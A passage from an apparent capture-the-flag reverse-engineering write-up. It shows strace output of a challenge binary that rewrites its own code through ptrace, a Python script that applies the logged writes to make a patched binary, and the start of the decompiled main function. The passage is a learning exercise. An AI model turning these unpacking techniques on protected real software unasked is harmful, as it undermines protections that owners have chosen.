ptrace(PTRACE_PEEKTEXT, 482327, 0x402167, [0xafc19d9566468ab7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402167, 0xc0ef0f66c8458b48) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40216f, [0xaa24f203797092cf]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40216f, 0x58d480840110ff2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402177, [0xf217b86bd657b975]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402177, 0xe8c7894800012dac) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40217f, [0x123f770932330af0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40217f, 0xa9058d48000047ad) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402187, [0x514e2a56c63d92f9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402187, 0x9ee8c7894800012d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40218f, [0xfbf0cfd8e0f8fb22]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40218f, 0x1e445c7000047) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402197, [0xe710573ac1dd1ac4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402197, 0x8b000000a2e90000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40219f, [0x8d84ab7aa15844fb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40219f, 0x4e0c1489848e445) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021a7, [0x2696ab8aeecbd500]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021a7, 0x48c8458b48c28948) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021af, [0x9c373de853a3ecc8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021af, 0xb8021c8d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021b7, [0x1ff49b1f1d8044a9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021b7, 0xf4866fffffc99e8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021bf, [0xe1f4e2c5e9da6349]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021bf, 0x8948c1280f66c07e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021c7, [0xf82afebe20a251b7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021c7, 0x458b0843110ff203) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021cf, [0xfc114ef1048e83f5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021cf, 0x4804e0c1489848e4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021d7, [0x4fb12051ca20b5be]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021d7, 0x148c8458b48c289) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021df, [0xf5ba8f2800511b6a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021df, 0x458b0840100ff2d0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021e7, [0xfc114ef1048e83f5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021e7, 0x4804e0c1489848e4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021ef, [0x4fb12051ca20b5be]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021ef, 0x148c8458b48c289) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021f7, [0x6b4e71fba096af2a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021f7, 0x48e4458b108b48d0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021ff, [0x3d774c95d1327103]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021ff, 0xffffff4085848b98) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402207, [0xe4797e99e42b9b93]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402207, 0xc50c8d48c089) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40220f, [0xe92efbb1204360ad]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40220f, 0x16e08058d480000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402217, [0xe0cc45d43ffe4955]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402217, 0x280f6601048b4800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40221f, [0x4e5728659423e7ed]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40221f, 0x8948c26e0f4866c8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402227, [0x1091bbdd3677af42]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402227, 0x12d1c058d48c6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40222f, [0xa5b9b9c4f3b6996]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40222f, 0x2b8c78948) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402237, [0xc70af9004e01093b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402237, 0xe4458300004624e8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40223f, [0xfb9f6429cea91090]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40223f, 0x548e0f1ae47d8301) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402247, [0x990edaa0c7f5c3e0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402247, 0x2d0c058d48ffffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40224f, [0x7d71236d0e450943]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40224f, 0x46d7e8c789480001) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402257, [0x1fe6483f274d8fe9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402257, 0xe045c70000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40225f, [0x19439c6d4b86981a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40225f, 0x458b0000008be900) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402267, [0x6f6dd25acaf5d3b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402267, 0x2cf9058d48c689e0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40226f, [0xff089fa7ebfb330e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40226f, 0xb8c789480001) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402277, [0x99405c363f41948d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402277, 0x8b000045e2e80000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40227f, [0x77a26e4325ecbdfc]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40227f, 0x5100ff29848e045) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402287, [0x7ff09396dc99e269]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402287, 0x84110ff200012dbd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40228f, [0x4e72cb4b9c75c2d2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40228f, 0x858d48fffff3d0c5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402297, [0x613297b16fbb7586]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402297, 0x48e0558bfffff3d0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40229f, [0x6ae453f0ed23c5b2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40229f, 0x8d4803e2c148d263) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022a7, [0xec63bf4d0ef77ab7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022a7, 0xfff4b0b58d48100c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022af, [0xc07d38d7d34da0e9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022af, 0x48d06348e0458bff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022b7, [0x4cc33f718f0717fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022b7, 0x14802e0c148d089) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022bf, [0xa53d589b980d1a3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022bf, 0x85148d48d0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022c7, [0xd4e18166715444b1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022c7, 0x2e0c148d0014800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022cf, [0xd8d5a13cfb4aeb68]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022cf, 0x8948ca8948f00148) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022d7, [0xfbdcce125b54efc]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022d7, 0x12c90058d48c6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022df, [0x95dfad7399ceae66]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022df, 0xb8c78948) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022e7, [0x1d0522363dca587a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022e7, 0xe0458300004704e8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022ef, [0x589f1a4a2d2132da]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022ef, 0x6b8e0f1ae07d8301) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022f7, [0xe9e83385fa20c6e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022f7, 0x48c8458b48ffffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022ff, [0x2e9668e449233256]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022ff, 0x48000009e3e8c789) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402307, [0x8650b355dea90110]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402307, 0xf2c0ef0f66c04589) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40230f, [0x83a4ebebe332d543]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40230f, 0x1d745c6d845110f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402317, [0xe7974ad1fccdd5a6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402317, 0xe900000000d045c7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40231f, [0x9246954849cc1df8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40231f, 0x48d0458b0000011d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402327, [0x9d7299c6e230c8e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402327, 0x85148d4898) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40232f, [0xddd05c33d0a8c7fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40232f, 0xd00148c0458b4800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402337, [0xda2d90b7f12fec50]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402337, 0x4085848bc089008b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40233f, [0x64955b6a46c2c80]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40233f, 0x148d48c089ffffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402347, [0xff3d6f930b1d9b2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402347, 0x58d4800000000c5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40234f, [0x97f67eabbe4ae44]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40234f, 0x20c8b4800016ccd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402357, [0xfab5ca90ac37917c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402357, 0x8bfffff4b0b58d48) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40235f, [0x46ff93a0a498b01]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40235f, 0xd08948d06348d045) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402367, [0x55c8534d7c02d410]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402367, 0x48d0014802e0c148) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40236f, [0x6b8f55fa69b023c3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40236f, 0x480000000085148d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402377, [0x13984dc683ce761d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402377, 0x14802e0c148d001) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40237f, [0xb0da21c512c52e9f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40237f, 0x894800000063baf0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402387, [0x4679afca1d1bd5a1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402387, 0x7330e8c78948ce) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40238f, [0xeec82408be0332e1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40238f, 0xd0458b2775c08500) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402397, [0x145667b3f9a7daa6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402397, 0xf3d0c5848b489848) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40239f, [0x6f5ceb9a3fb1311b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40239f, 0x66d845100ff2ffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023a7, [0xdad5f6f3babb6dfd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023a7, 0xc06e0f4866c8280f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023af, [0x434271a8f0d20450]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023af, 0x1f083fffffbafe8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023b7, [0xc933ab6f8c72f429]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023b7, 0xd745c60474c084) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023bf, [0x305c2ad70dc9fd63]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023bf, 0xc083489848d0458b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023c7, [0x7b85293506817eda]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023c7, 0x85148d4801) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023cf, [0xddd05c33d0a8c7fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023cf, 0xd00148c0458b4800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023d7, [0x58d1e5baff9b706d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023d7, 0x4e0c148c089008b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023df, [0x2696ab8aeecbd500]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023df, 0x48c8458b48c28948) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023e7, [0x4c1f406b719ddebd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023e7, 0x489848d0458bc201) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023ef, [0xcd7f99513f4b4cc4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023ef, 0x4800000000850c8d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023f7, [0xcf9466fa7c106474]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023f7, 0x8bc80148c0458b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023ff, [0x3ecbb4afa1b476b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023ff, 0x894804e0c148c089) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402407, [0xd89db3a695c126f3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402407, 0xc80148c8458b48c1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40240f, [0xa477e613f675b424]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40240f, 0x42100ff212100ff2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402417, [0xd0e4b213f7cf5d48]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402417, 0x48100ff2108b4808) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40241f, [0x3cbf46fde9fb7203]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40241f, 0xf4866d8280f6608) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402427, [0x80a4d6d212c0b07e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402427, 0xf2000004b8e8c26e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40242f, [0xea058915b8957679]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40242f, 0xc1580ff2d84d100f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402437, [0x9f55cbe150a41ae3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402437, 0xd04583d845110ff2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40243f, [0x2accccce7dcd922f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40243f, 0xd98e0f1ad07d8301) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402447, [0x7fa2b02a031c1ac6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402447, 0x83d745b60ffffffe) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40244f, [0xd427644c52efe803]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40244f, 0x8d481974c08401f0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402457, [0xb774fb8acee2206b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402457, 0xc7894800012b2605) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40245f, [0xf85c213b3281a8a6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40245f, 0x1bf000044cce8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402467, [0xd1ef4d2ecb540acb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402467, 0x48ffffeba2e80000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40246f, [0x4c90cb33fa284edf]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40246f, 0x894800012b1b058d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402477, [0xc222d2d07e33a086]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402477, 0xbf000044b3e8c7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40247f, [0xb9fc6081df542991]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40247f, 0xffffeb89e8000000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402487, [0x5d076fea300a0ebd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402487, 0x90983666b20e301c) = 0
nanosleep({tv_sec=0, tv_nsec=10000000}, 0x7ffec89cdf30) = 0
ptrace(PTRACE_SETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x410, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x40207f, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_CONT, 482327, NULL, 0) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSEGV}], 0, NULL) = 482327
ptrace(PTRACE_GETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89cd5b0, rbx=0x1, r11=0x246, r10=0x18, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x401e1c, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5b0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x401e1f, [0x6262626261616161]) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x401e27, [0x6464646463636363]) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e1c, [0x6261616161008a67]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e1c, 0x6261616161008a90) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e1d, [0x626261616161008a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e1d, 0x6262616161610090) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e1e, [0x6262626161616100]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e1e, 0x6262626161616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e1f, [0x6262626261616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e1f, 0x6262626261616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e20, [0x6362626262616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e20, 0x6362626262616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e21, [0x6363626262626161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e21, 0x6363626262626190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e22, [0x6363636262626261]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e22, 0x6363636262626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e23, [0x6363636362626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e23, 0x6363636362626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e24, [0x6463636363626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e24, 0x6463636363626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e25, [0x6464636363636262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e25, 0x6464636363636290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e26, [0x6464646363636362]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e26, 0x6464646363636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e27, [0x6464646463636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e27, 0x6464646463636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e28, [0x64646464636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e28, 0x64646464636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e29, [0x7000646464646363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e29, 0x7000646464646390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e2a, [0xc870006464646463]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2a, 0xc870006464646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e2b, [0x7ec8700064646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2b, 0x7ec8700064646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e2c, [0xbd7ec87000646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2c, 0xbd7ec87000646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e2d, [0x74bd7ec870006464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2d, 0x74bd7ec870006490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e2e, [0x8874bd7ec8700064]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2e, 0x8874bd7ec8700090) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x401e2f, [0x6b8874bd7ec87000]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2f, 0x480000f21a058d48) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x401e37, [0xb8d4a88cf648dd53]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e37, 0x9000004af2e8c789) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x401e3f, [0xb90e0c73a7284300]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e3f, 0xc35d) = 0
nanosleep({tv_sec=0, tv_nsec=10000000}, 0x7ffec89cdf30) = 0
ptrace(PTRACE_SETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89cd5b0, rbx=0x1, r11=0x246, r10=0x18, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x401e2f, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5b0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_CONT, 482327, NULL, 0) = 0
▄▄
▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄▄▄▄▄▀
▄▄▄▄▄▄
▄▄▄▄▄▄
▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄
▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▀
▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀
▀▀▀▀ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▀▀
▄▄▄▄▄▀▀ ▄▄▄▄▄▄▄▄ ▀▄▄▄▄▄▀
▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▀ wait4(482327,
Santas Test Navigation System V-1.0
Press enter to begin...
After some normal startup, there’s a series of ptrace calls using PEEKTEXT, PEEKDATA, and POKETEXT. Peek operations read data from memory, and poke writes it. If I look at the POKE operations specifically, it’s writing data to a range of bytes starting at 0x4024b9, which is the main function that was broken.
Patch
I’ll use strace to collect all the system calls into a file with:
oxdf@hacky$ strace -o strace1.txt ./ttsp/chall
...[snip]...
I’ll hit enter when prompted and then ctrl-c when I reach the time for input. Now I’ll isolate the POKE operations:
oxdf@hacky$ cat strace1.txt | grep POKE > poke1.txt
Now I’ll write a simple Python script that makes a patched binary, writing the data that the poke operations would write.
import sys
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <strace POKE file> <output>")
sys.exit()
with open('ttsp/chall', 'rb') as f:
chall = f.read()
with open(sys.argv[1], 'r') as f:
lines = f.readlines()
for line in lines:
*_, offset_s, data_s, _, _ = line.split()
offset = int(offset_s.strip(','), 16) - 0x400000
data = int(data_s.strip(')'), 16).to_bytes(8, 'little')
chall = chall[:offset] + data + chall[offset + len(data):]
with open(sys.argv[2], 'wb') as f:
f.write(chall)
This will open the original binary, loop over the poke operations, updating the data the poke would update, and then writing a modified version of the binary. It runs without issue:
oxdf@hacky$ uv run patch.py poke1.txt chall-mod
Main Function
0x40249b does some initialization, and then calls 0x401fe8:
undefined8 FUN_0040249b(void)
{
FUN_00406ab0(&DAT_00419300,0,2,0);
FUN_00406ab0(&DAT_00419200,0,2,0);
FUN_00406ab0(&DAT_00419100,0,2,0);
FUN_00401fe8();
return 0;
}
0x401fe8 is the main functionality. It starts by printing the intro message and waiting for a single key. Then it seeds the random number generator with the current time xored with the pid of the current process, and uses that to shuffle the locations:
time = time(0);
pid = getpid();
srand(pid ^ time);
alarm(0x1e);
locations = (undefined8 *)calloc(0x1b,0x10);
for (init_idx = 0; (int)init_idx < 0x1b; init_idx = init_idx + 1) {
shuffled_indices[(int)init_idx] = init_idx;
}
uStack_64 = 0;
for (shuffle_idx = 0x1a; 1 < shuffle_idx; shuffle_idx = shuffle_idx + -1) {
rand_int = rand();
rand_idx = rand_int % shuffle_idx + 1;
swap_temp = shuffled_indices[shuffle_idx];
shuffled_indices[shuffle_idx] = shuffled_indices[rand_idx];
